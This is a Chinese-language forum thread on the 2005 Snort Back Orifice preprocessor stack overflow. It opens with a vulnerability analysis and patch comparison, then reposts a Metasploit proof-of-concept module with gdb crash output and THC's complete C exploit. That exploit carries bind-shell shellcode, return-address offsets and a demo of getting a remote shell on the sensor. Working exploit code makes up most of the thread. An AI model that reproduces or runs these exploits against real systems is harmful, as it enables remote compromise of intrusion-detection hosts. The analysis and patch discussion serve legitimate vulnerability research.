返回列表 发帖

Snort Back Orifice Preprocessor Buffer Overflow简

Snort Back Orifice Preprocessor Buffer Overflow简单分析 By Sowhat#secway.org http://secway.org 2005-10-19 09:45 厂商:SourceFire Inc. Snort.org 发现者: Neel Mehta @ ISS X-Force 漏洞公告:http://xforce.iss.net/xforce/alerts/id/207 公布日期: 2005-10-18 Snort 2.4.2及以下的BO预处理模块存在一个简单的堆栈溢出,起因是Snort对用户构造 的BO数据包没有进行任何长度检查. :) 这个漏洞危害比较大,原因有4: 1. 只需一个UDP包就可以触发和利用此漏洞 2. 攻击者并不需要知道snort的准确位置,只要发送数据包到SNORT保护的网络中的任 何一台机器的任何一个端口即可,不要求此端口是打开的. 3. 此漏洞是一个简单的STACK Overflow,所以很容易huck. 4. 有很多不叫Snort的"Snort" @_@ ISS暂时没有公布漏洞细节,我就无聊一下吧,这种低级的体力活,非我莫属啊. 扫描了一下2.4.2 ./src/preprocessors/spp_bo.c,发现问题出在 BoGetDirection这个函数中. /* * Function: BoGetDirection(Packet *) * * Purpose: Attempt to guess the direction this packet is going in. * * Arguments: p => pointer to the current packet data struct * pkt_data => pointer to data after magic cookie * * Returns: BO_FROM_UNKNOWN if direction unknown * BO_FROM_CLIENT if direction from client to server * BO_FROM_SERVER if direction from server to client * * Reference: http://www.magnux.org/~flaviovs/boproto.html * BO header structure: * Mnemonic Size in bytes * ------------------------- * MAGIC 8 * LEN 4 * ID 4 * T 1 * DATA variable * CRC 1 */ static int BoGetDirection(Packet *p, char *pkt_data) { u_int32_t len = 0; u_int32_t id = 0; u_int32_t l, i; char type; char buf1[1024]; //target...hoho char buf2[1024]; char *buf_ptr; char plaintext; //先检查目标端口和源端口是31337,直接判定为BO,返回 //所以exp的时候唯一的一个禁忌就是exp的源和目标端口都 //不能是31337,否则不能触发该漏洞 /* Check for the default port on either side */ if ( p->dp == BACKORIFICE_DEFAULT_PORT ) { return BO_FROM_CLIENT; } else if ( p->sp == BACKORIFICE_DEFAULT_PORT ) { return BO_FROM_SERVER; } //没有匹配到31337端口,进一步分析 /* Didn';t find default port, so look for ping packet */ /* Get length from BO header - 32 bit int */ for ( i = 0; i < 4; i++ ) { plaintext = (char) (*pkt_data ^ (BoRand()%256)); l = (u_int32_t) plaintext; len += l << (8*i); pkt_data++; } ............... .................... /* Adjust for BO packet header length */ len -= 18; //减去结构信息的长度,就是实际DATA的长度,啊噢 .................................. /* Only examine data if this a ping request or response */ if ( type == BO_TYPE_PING ) { i = 0; buf_ptr = buf1; *buf1 = 0; *buf2 = 0; /* Decrypt data */ while ( i < len ) //这里实现了一个类strcpy, { //照len指定的长度将DATA复制到buf1 //其实这里还有一个问题^_^ plaintext = (char) (*pkt_data ^ (BoRand()%256)); *buf_ptr = plaintext; i++; pkt_data++; buf_ptr++; if ( plaintext == 0 ) buf_ptr = buf2; } .................................... } return BO_FROM_UNKNOWN; } 要触发这个漏洞只需len设为大于1024+18,DATA段数据超过1024即可. 再看看2.4.3中怎么patch的. static int BoGetDirection(Packet *p, char *pkt_data) { u_int32_t len = 0; u_int32_t id = 0; u_int32_t l, i; char type; static char buf1[BO_BUF_SIZE]; char plaintext; .................................... /* Didn';t find default port, so look for ping packet */ /* Get length from BO header - 32 bit int */ for ( i = 0; i < 4; i++ ) { plaintext = (char) (*pkt_data ^ BoRand()); l = (u_int32_t) plaintext; len += l << (8*i); pkt_data++; } ..................................... /* Do more len checking */ //对len做一些检查 if ( len >= BO_BUF_ATTACK_SIZE ) //定义了一个宏,1024,限制len { if ( !(noalert_flags & BO_ALERT_SNORT_ATTACK) ) { SnortEventqAdd(GENERATOR_SPP_BO, BO_SNORT_BUFFER_ATTACK, 1, 0, 0, BO_SNORT_BUFFER_ATTACK_STR, 0); } if ( (drop_flags & BO_ALERT_SNORT_ATTACK) && InlineMode() ) { p->packet_flags |= PKT_INLINE_DROP; InlineDrop(); } return BO_FROM_UNKNOWN; } /* Adjust for BO packet header length */ len -= BACKORIFICE_MIN_SIZE; if( len == 0 ) { /* Need some data, or we can';t figure out client or server */ return BO_FROM_UNKNOWN; } if( len > 7 ) //如果大于7就"截断"为7,这个狠,可惜啊,NND :( { len = 7; /* we need no more than 7 variable chars */ } /* length must be 7 OR LESS due to above logic */ if( p->dsize < len ) { /* We don';t have enough data to inspect */ return BO_FROM_UNKNOWN; } /* Continue parsing BO header */ type = (char) (*pkt_data ^ BoRand()); pkt_data++; ......................................... /* Only examine data if this is a ping request or response */ if ( type == BO_TYPE_PING ) { if ( len < 7 ) { return BO_FROM_CLIENT; } ...................................... } 这个漏洞虽然没有什么显眼的strcpy,sprintf,但是................. 虫子呢虫子呢? 会有虫子吗,hoho 我发现现在一出现影响力大点的漏洞,不管是否真的出现虫子,本身大家对于"狼会不会 来"的预判、争辩,就非常有意思,哈哈. 解决办法: 1. 当然最好是升级到2.4.3 2. 如果不想升级到2.4.3, 就在snort.conf中注释掉BO的预处理, # preprocessor bo Reference: 1. http://xforce.iss.net/xforce/alerts/id/207 2. http://isc.sans.org/diary.php 3. http://www.kb.cert.org/vuls/id/175500 4. http://www.us-cert.gov/cas/techalerts/TA05-291A.html 5. http://www.snort.org/rules/advisories/snort_update_20051018.html 6. http://secway.org/vuln.htm 7. http://secway.org/papers/SnortBoBof.txt

Snort Back Orifice Preprocessor Buffer Overflow简单分析

## # This file is part of the Metasploit Framework and may be redistributed # according to the licenses defined in the Authors field below. In the # case of an unknown or missing license, this file defaults to the same # license as the core Framework (dual GPLv2 and Artistic). The latest # version of the Framework can always be obtained from metasploit.com. ## package Msf::Exploit::snort_bo_ping; use base ';Msf::Exploit';; use strict; use Pex::Text; my $advanced = { }; my $info = { ';Name'; => ';Snort BackOrifice PING Buffer Overflow (PoC)';, ';Version'; => ';$Revision: 1.33 $';, ';Authors'; => [ ';H D Moore '; ], ';Description'; => Pex::Text::Freeform(qq{ This module exploits a stack overflow in the Snort BackOrifice preprocessor. This is just a PoC right now... }), ';Arch'; => [ ';x86'; ], ';OS'; => [ ';linux'; ], ';Priv'; => 1, ';UserOpts'; => { ';RHOST'; => [1, ';ADDR';, ';The target address';], ';RPORT'; => [1, ';PORT';, ';The target port';, 53], }, ';Payload'; => { ';Space'; => 1024, ';BadChars'; => "\x00", ';MinNops'; => 512, ';Keys'; => [';+ws2ord';], }, ';Refs'; => [ ], ';DefaultTarget'; => 0, ';Targets'; => [ [';Test Target';, 0x41424344], ], ';Keys'; => [';snort';], ';DisclosureDate'; => ';Oct 18 2005';, }; sub new { my $class = shift; my $self = $class->SUPER::new({';Info'; => $info, ';Advanced'; => $advanced}, @_); return($self); } sub BORand { my $self = shift; return ($self->{';BOSeed';} = (($self->{';BOSeed';} * 214013) + 2531011) % (2**32)); } sub BOCrypt { my $self = shift; my $data = shift; my $res; foreach my $c (unpack("C*", $data)) { $res .= chr($c ^ ($self->BORand() >> 16 & 0xFF) ); } return $res; } sub Exploit { my $self = shift; my $target_host = $self->GetVar(';RHOST';); my $target_port = $self->GetVar(';RPORT';); my $target = $self->Targets->[ $self->GetVar(';TARGET';) ]; my $shellcode = $self->GetVar(';EncodedPayload';)->Payload; # MAGIC 8 # LEN 4 # ID 4 # T 1 # DATA variable # CRC 1 # This length values results in a negative value for "len" my $pwn = "X" x 32764; # The shellcode is half nops, just for testing right now substr($pwn, 0, length($shellcode), $shellcode); substr($pwn, 1040, 4, "\x01\x01\x01\x01"); # Patch "i" in a magic way substr($pwn, 1052, 4, "\x02\x02\x01\x01"); # Path "len" so its slightly more than "i" substr($pwn, 1068, 4, pack(';V';, $target->[1])); # Terminate the overwrite only after we smashed the return address substr($pwn, 1072, 1, "\x00"); # Set the ping type my $type = pack(';C';, 0x40 + 0x01); # Ping my $data = $pwn . "PONG"; my $pong = "*!*QWTY?". # Magic pack(';V';, length($data)). pack(';N';, rand(0xffffffff)). $type. $data. "X"; $self->{';BOSeed';} = 0x7a69; # Randomize this :-) $pong = $self->BOCrypt($pong); my $sock = Msf::Socket::Udp->new ( ';PeerAddr'; => $target_host, ';PeerPort'; => $target_port, ); if ($sock->IsError) { $self->PrintLine(';
  • Error creating socket: '; . $sock->GetError); return; } $sock->Send($pong); $sock->Recv(-1, 2); } __DATA__ spp_bo.c - v2.4.2 ---------------------------------------------------------------- while ( i < len ) { plaintext = (char) (*pkt_data ^ (BoRand()%256)); *buf_ptr = plaintext; if ( buf_ptr > (buf1 + sizeof(buf1)) ) { printf("SMASH: %d/%d [%.2x > %.2x] @ 0x%.8x\n", i, len, (unsigned char) *pkt_data, (unsigned char) *buf_ptr, buf_ptr); } i++; pkt_data++; buf_ptr++; if ( plaintext == 0 ) { printf("*** reset buf_ptr to 0x%.8x\n", buf2); buf_ptr = buf2; } } ---------------------------------------------------------------- SMASH: 1025/-32786 [87 > 58] @ 0xbf9dbb41 SMASH: 1026/-32786 [39 > 58] @ 0xbf9dbb42 SMASH: 1027/-32786 [57 > 58] @ 0xbf9dbb43 SMASH: 1028/-32786 [4b > 58] @ 0xbf9dbb44 SMASH: 1029/-32786 [94 > 58] @ 0xbf9dbb45 SMASH: 1030/-32786 [de > 58] @ 0xbf9dbb46 SMASH: 1031/-32786 [4c > 58] @ 0xbf9dbb47 SMASH: 1032/-32786 [bf > 58] @ 0xbf9dbb48 SMASH: 1033/-32786 [bd > 58] @ 0xbf9dbb49 SMASH: 1034/-32786 [e1 > 58] @ 0xbf9dbb4a SMASH: 1035/-32786 [11 > 58] @ 0xbf9dbb4b SMASH: 1036/-32786 [78 > 58] @ 0xbf9dbb4c SMASH: 1037/-32786 [ab > 58] @ 0xbf9dbb4d SMASH: 1038/-32786 [fe > 58] @ 0xbf9dbb4e SMASH: 1039/-32786 [21 > 58] @ 0xbf9dbb4f SMASH: 1025/-32786 [ef > 01] @ 0xbf9dbb50 SMASH: 258/-32786 [b0 > 01] @ 0xbf9dbb51 SMASH: 65795/-32786 [33 > 01] @ 0xbf9dbb52 SMASH: 16843012/-32786 [c5 > 01] @ 0xbf9dbb53 SMASH: 16843013/-32786 [27 > 58] @ 0xbf9dbb54 SMASH: 16843014/-32786 [b0 > 58] @ 0xbf9dbb55 SMASH: 16843015/-32786 [56 > 58] @ 0xbf9dbb56 SMASH: 16843016/-32786 [bf > 58] @ 0xbf9dbb57 SMASH: 16843017/-32786 [75 > 58] @ 0xbf9dbb58 SMASH: 16843018/-32786 [81 > 58] @ 0xbf9dbb59 SMASH: 16843019/-32786 [d4 > 58] @ 0xbf9dbb5a SMASH: 16843020/-32786 [e6 > 58] @ 0xbf9dbb5b SMASH: 16843021/-33022 [f4 > 02] @ 0xbf9dbb5c SMASH: 16843022/-65022 [d9 > 02] @ 0xbf9dbb5d SMASH: 16843023/-16711166 [b3 > 01] @ 0xbf9dbb5e SMASH: 16843024/16843266 [06 > 01] @ 0xbf9dbb5f SMASH: 16843025/16843266 [74 > 58] @ 0xbf9dbb60 SMASH: 16843026/16843266 [1d > 58] @ 0xbf9dbb61 SMASH: 16843027/16843266 [d6 > 58] @ 0xbf9dbb62 SMASH: 16843028/16843266 [30 > 58] @ 0xbf9dbb63 SMASH: 16843029/16843266 [35 > 58] @ 0xbf9dbb64 SMASH: 16843030/16843266 [d6 > 58] @ 0xbf9dbb65 SMASH: 16843031/16843266 [90 > 58] @ 0xbf9dbb66 SMASH: 16843032/16843266 [ec > 58] @ 0xbf9dbb67 SMASH: 16843033/16843266 [8e > 58] @ 0xbf9dbb68 SMASH: 16843034/16843266 [eb > 58] @ 0xbf9dbb69 SMASH: 16843035/16843266 [26 > 58] @ 0xbf9dbb6a SMASH: 16843036/16843266 [32 > 58] @ 0xbf9dbb6b SMASH: 16843037/16843266 [30 > 44] @ 0xbf9dbb6c SMASH: 16843038/16843266 [9a > 43] @ 0xbf9dbb6d SMASH: 16843039/16843266 [09 > 42] @ 0xbf9dbb6e SMASH: 16843040/16843266 [3f > 41] @ 0xbf9dbb6f SMASH: 16843041/16843266 [fb > 00] @ 0xbf9dbb70 *** reset buf_ptr to 0xbf9db340 Program received signal SIGSEGV, Segmentation fault. 0x41424344 in ?? () (gdb)
  • TOP

    Snort Back Orifice Preprocessor Buffer Overflow简单分析

    * Example: * * $ ./THCsnortbo * Snort BackOrifice PING exploit (version 0.3) * by rd@thc.org * * Usage: ./THCsnortbo host target * * Available Targets: * 1 | manual testing gcc with -O0 * 2 | manual testing gcc with -O2 * * $ ./snortbo 192.168.0.101 1 * Snort BackOrifice PING exploit (version 0.3) * by rd@thc.org * * Selected target: * 1 | manual testing gcc with -O0 * * Sending exploit to 192.168.0.101 * Done. * * $ nc 192.168.0.101 31337 * id * uid=104(snort) gid=409(snort) groups=409(snort) * uname -sr * Linux 2.6.11-hardened-r1 * */ #include #include #include #include #include #include #include #ifdef HAVE_UNISTD_H #include #endif #ifdef HAVE_SYS_TIME_H #include #endif #ifdef HAVE_SYS_SELECT_H #include #endif #ifdef HAVE_STRINGS_H #include #endif #ifdef HAVE_MALLOC_H #include #endif #include #include #include #define VERSION "0.3" /* shellcodes */ /* a quick test bind shellcode on port 31337 from metasploit * * Connect back shellcode for snort exploit should be better, do * it by yourself. im lazy :> */ unsigned char x86_lnx_bind[] = "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96" "\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56" "\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1" "\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0" "\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" "\x89\xe1\xcd\x80"; typedef struct { char *desc; // description unsigned char *scode; // shellcode unsigned int scode_len; unsigned long retaddr; // return address unsigned int i_var_off; // offset from buf1 to variable ';i'; unsigned int len_var_off; // offset from buf1 to variable ';len'; unsigned int ret_off; // offset from buf1 to saved eip unsigned int datasize; // value of size field in BO ping packet } t_target; t_target targets[] = { { "manual testing gcc with -O0", x86_lnx_bind, sizeof(x86_lnx_bind), //0x0804aa07, 0x4008f000+0x16143, // pop/ret in libc 1024+1+32, 1024+1+44, 1024+1+60, 0xFFFFFFFF }, { "manual testing gcc with -O2", x86_lnx_bind, sizeof(x86_lnx_bind), 0x0804aa07, //0xbfffe9e0 1024+1+8, 1024+1+20, 1024+1+44, 1048+4+24 }, { NULL, NULL, 0, 0, 0, 0, 0, 0 } }; #define PACKETSIZE 1400 #define OVERFLOW_BUFFSZ 1024 #define IVAL 0x11223344; #define LVAL 0x11223354+16; #define ARGSIZE 256 #define PORT 53 #define MAGICSTRING "*!*QWTY?" #define MAGICSTRINGLEN 8 #define TYPE_PING 0x01 static long holdrand = 1L; char g_password[ARGSIZE]; int port = PORT; /* * borrowed some code from BO client */ void msrand (unsigned int seed ) { holdrand = (long)seed; } int mrand ( void) { return(((holdrand = holdrand * 214013L + 2531011L) >> 16) & 0x7fff); } unsigned int getkey() { int x, y; unsigned int z; y = strlen(g_password); if (!y) return 31337; else { z = 0; for (x = 0; x < y; x++) z+= g_password[x]; for (x = 0; x < y; x++) { if (x%2) z-= g_password[x] * (y-x+1); else z+= g_password[x] * (y-x+1); z = z%RAND_MAX; } z = (z * y)%RAND_MAX; return z; } } void BOcrypt(unsigned char *buff, int len) { int y; if (!len) return; msrand(getkey()); for (y = 0; y < len; y++) buff[y] = buff[y] ^ (mrand()%256); } void explbuild(unsigned char *buff, t_target *t) { unsigned char *ptr; unsigned long *pdw; unsigned long size; unsigned char *scode; unsigned int scode_len; unsigned long retaddr; unsigned int i_var_off; unsigned int len_var_off; unsigned int ret_off; unsigned int datasize; scode = t->scode; scode_len = t->scode_len; retaddr = t->retaddr; i_var_off = t->i_var_off; len_var_off = t->len_var_off; ret_off = t->ret_off; datasize = t->datasize; memset(buff, 0x90, PACKETSIZE); buff[PACKETSIZE - 1] = 0; strcpy(buff, MAGICSTRING); pdw = (unsigned long *)(buff + MAGICSTRINGLEN); *pdw++ = datasize; *pdw++ = (unsigned long)-1; ptr = (unsigned char *)pdw; *ptr++ = TYPE_PING; size = IVAL; memcpy(buff + i_var_off, &size, 4); size = LVAL; memcpy(buff + len_var_off, &size, 4); memcpy(buff + ret_off, &retaddr, 4); /* you may want to place shellcode on encrypted part and will * be decrypted into buf1 by BoGetDirection */ // memcpy(buff + OVERFLOW_BUFFSZ - scode_len - 128, // (char *) scode, scode_len); memcpy(buff + PACKETSIZE - scode_len - 1, (char *)scode, scode_len); /* you may want to set NULL byte to stop the loop here, but it * won';t work with pop/ret method */ // buff[ret_off + 4] = 0; size = ret_off + 4; BOcrypt(buff, (int)size); } int sendping(unsigned long dest, int port, int sock, unsigned char *buff) { struct sockaddr_in host; int i, size; fd_set fdset; struct timeval tv; size=PACKETSIZE; host.sin_family = AF_INET; host.sin_port = htons((u_short)port); host.sin_addr.s_addr = dest; FD_ZERO(&fdset); FD_SET(sock, &fdset); tv.tv_sec = 10; tv.tv_usec = 0; i = select(sock+1, NULL, &fdset, NULL, &tv); if (i == 0) { printf("Timeout\n"); return(1); } else if (i < 0) { perror("select: "); return(1); } if ( (sendto(sock, buff, size, 0, (struct sockaddr *)&host, sizeof(host))) != size ) { perror("sendto: "); return(1); } return 0; } void usage(char *prog) { int n; printf("Usage: %s host target\n\nAvailable Targets:\n", prog); for (n = 0 ; targets[n].desc != NULL ; n++) printf ("%3d | %s\n", n + 1, targets[n].desc); printf (" \n"); } int main(int argc, char **argv) { struct in_addr hostin; unsigned long dest; char buff[PACKETSIZE]; int ntarget; printf("Snort BackOrifice PING exploit (version "VERSION")\n" "by rd@thc.org\n\n"); if (argc < 3 || ((ntarget = atoi(argv[2])) <= 0) ) { usage(argv[0]); return 0; } if (ntarget >= (sizeof(targets) / sizeof(t_target))) { printf ("WARNING: target out of list. list:\n\n"); usage(argv[0]); return 0; } ntarget = ntarget - 1; // change the key here to avoid the detection of a simple // packet matching IDS signature. g_password[0] = 0; if ( (dest = inet_addr(argv[1])) == (unsigned long)-1) printf("Bad IP: ';%s';\n", argv[1]); else { int s; hostin.s_addr = dest; s=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP); printf("Selected target:\n%3d | %s\n", ntarget+1, targets[ntarget].desc); explbuild(buff, &targets[ntarget]); printf("\nSending exploit to %s\n", inet_ntoa(hostin)); if (sendping(dest, port, s, buff)) printf("Sending exploit failed for dest %s\n", inet_ntoa(hostin)); printf("Done.\n"); } return 0; } ---

    TOP

    返回列表 回复 发帖